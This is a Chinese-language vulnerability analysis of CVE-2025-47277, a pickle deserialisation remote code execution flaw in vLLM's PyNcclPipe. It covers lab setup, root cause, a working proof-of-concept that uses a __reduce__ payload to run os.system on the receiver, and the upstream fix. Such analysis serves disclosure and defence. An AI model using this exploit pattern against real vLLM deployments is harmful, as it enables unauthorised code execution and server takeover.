vLLM PyNcclPipe pickle反序列化漏洞(CVE-2025-47277)分析

漏洞概述

vLLM 是一个用于大型语言模型(LLM)的推理和服务引擎,CVE-2025-47277 中,当 vllm 使用 PyNcclPipe KV 缓存传输集成与 V0 引擎的环境时,由于 PyNcclPipe 存在一个 pickle 反序列化漏洞,当 PyNcclPipe 组件对外暴露时,未经授权的远程攻击者可以连接到该组件,并发送恶意序列化数据,执行任意代码,可能导致服务器失陷。

简单看这个漏洞其实因为两点引起的:

  • 不安全的反序列化(内因): PyNcclPipe 在处理节点间的握手通信时,直接使用 Python 的 pickle 模块对接收到的数据进行反序列化,且未进行任何签名验证或过滤 。
  • 访问控制失效(外因): 尽管用户可能在配置中指定了 --kv-ip 限制为内网 IP,但 vLLM 底层依赖的 PyTorch TCPStore 组件在服务端模式下会忽略该配置,默认强制监听 0.0.0.0(全网接口) 。

环境搭建

在官网下载 0.8.4 版本的 vllm,然后执行下面命令安装该库

pip install vllm-0.8.4+cu121-cp38-abi3-manylinux1_x86_64.whl

安装好后还需要模拟使用场景写个启动脚本,server.py

from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
import os

# 配置漏洞环境:监听 0.0.0.0(这里虽然写 kv_ip,但漏洞在于底层没绑住)
config = KVTransferConfig(
    kv_ip="0.0.0.0", 
    kv_port=18888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

# 这里初始化 PyNcclPipe,它会启动 TCPStore 并监听端口
# 漏洞点:它会等待接收数据,并对数据进行 pickle.loads
p = PyNcclPipe(config=config, local_rank=0)
p.recv_tensor() # Receive data

这种场景一般是 企业级、大规模、分布式 的推理集群中,为了极致的性能优化,使用了 “Prefill-Decode 分离(PD 分离)” 架构时,会执行这段代码,下面简单解释一下。

核心场景:Prefill-Decode 分离(计算与生成分离)

这是目前大模型推理优化的前沿方向。

  • 背景: 大模型推理分为两个阶段:
  1. Prefill(预填充): 处理你输入的长文本(Prompt),计算量巨大,但只算一次。
  2. Decode(解码): 一个字一个字地吐答案,计算量小,但非常吃显存带宽,时间长。
  • 问题: 如果让同一张显卡既干 Prefill 又干 Decode,效率会互相拖累。
  • 解决方案: 把显卡分成两波人马:
  • A组机器(Prefill 实例): 专门负责快速读题(处理 Prompt),算出 KV Cache。
  • B组机器(Decode 实例): 专门负责答题(生成 Token)。
  • 触发漏洞的环节: 当 A 组机器算好数据后,需要把巨大的 KV Cache(显存中的中间状态数据) 通过网络直接扔给 B 组机器。
  • 上面这段代码,就是运行在 B组机器(接收端) 上的逻辑。
  • 它打开端口(18888),等着 A 组机器把 KV Cache 传过来。

为什么需要 PyNcclPipe

  • KV Cache 的数据量非常大(可能高达几百 MB 甚至 GB)。
  • 普通的 HTTP 请求太慢了。
  • PyNcclPipe 利用了 NVIDIA 的 NCCL 库(本来是用来做多卡训练通信的),在两台机器的显卡之间建立了一条“高速公路”,让数据能直接通过网络快速传输,尽量不经过 CPU 的拖累。
  • 漏洞点: 为了建立这条高速公路,双方需要握手。vLLM 用了 pickle 来处理握手信息,但是 ip 绑定部分失效了造成对外暴露,远程攻击者可以未授权连接到该组件发送恶意数据。

漏洞分析

内因:代码无脑信任输入,直接 pickle.loads

定位到 vllm/distributed/kv_transfer/kv_pipe/pynccl_pipe.py 中的 recv_tensor() 方法,这个方法是 vLLM 分布式传输中“接收端”的总入口。

其调用了 _recv_impl 方法,跟进到这个方法

先通过_recv_metadata()来接收元数据,然后检查对方是不是发了个空信号,如果是,就结束。最后 buffer = self._prepare_recv_buffer(metadata) self.device_recv_func(buffer, self.target_rank_for_recv) 的作用是先在显存里划出一块指定大小的空地(Buffer),然后通过 NCCL 高速通道把对方发来的真正数据直接填进这块地里。

这里我们主要关注怎么接收数据的,跟进这个 _recv_metadata 方法

来到 group.recv_obj 方法,最后在这里调用了pickle.loads 触发了 pickle 反序列化,

然后至于下面这段代码中 store 就是那个监听在 18888 端口的服务(KV 数据库),其 get 方法根据我们传入的字符串 Key 去去内存里查找这个 Key 对应的数据,这个 key 是发送数据时自动生成的,比如“send_to/0/1”

self.store.get(  
    f"send_to/{self.rank}/{self.recv_src_counter[src]}")

外因:TCPStore的 C++ 底层特性导致原本设计的 ACL 失效,让组件暴露在公网。

这个漏洞的关键点还是组件对外暴露,根据官方的报告看本来设计的 kv_ip 参数是为了向内网 ip 进行开放,但是PyTorch 的默认行为是 TCPStore 接口会监听所有接口

我们来到 _recv_metadata 方法这里,这个 self.group 其实是 StatelessProcessGroup 类的实例

跟进其create 方法,这里就是漏洞的根本点了,在创建 TCPStore 的时候虽然传入了host_name 但是其底层依然会绑定默认 ip 0.0.0.0,允许任意服务器访问。这个参数真正起作用的时候实在客户端的时候也就是is_master=False,

漏洞复现

漏洞利用还是比较简单的,启动服务

然后运行攻击脚本,执行 echo 11>/tmp/1.txt

from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='echo 11>/tmp/1.txt'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

看到成功生成了 1.txt 文件

漏洞修复

修复比较直接,直接强制创建一个Socket,这个Socket 可以选择我们要绑定的 ip,然后传入给 TCPStore 的 master_listen_fd 参数避免绑定默认地址。

参考

https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7

https://avd.aliyun.com/detail?id=AVD-2025-47277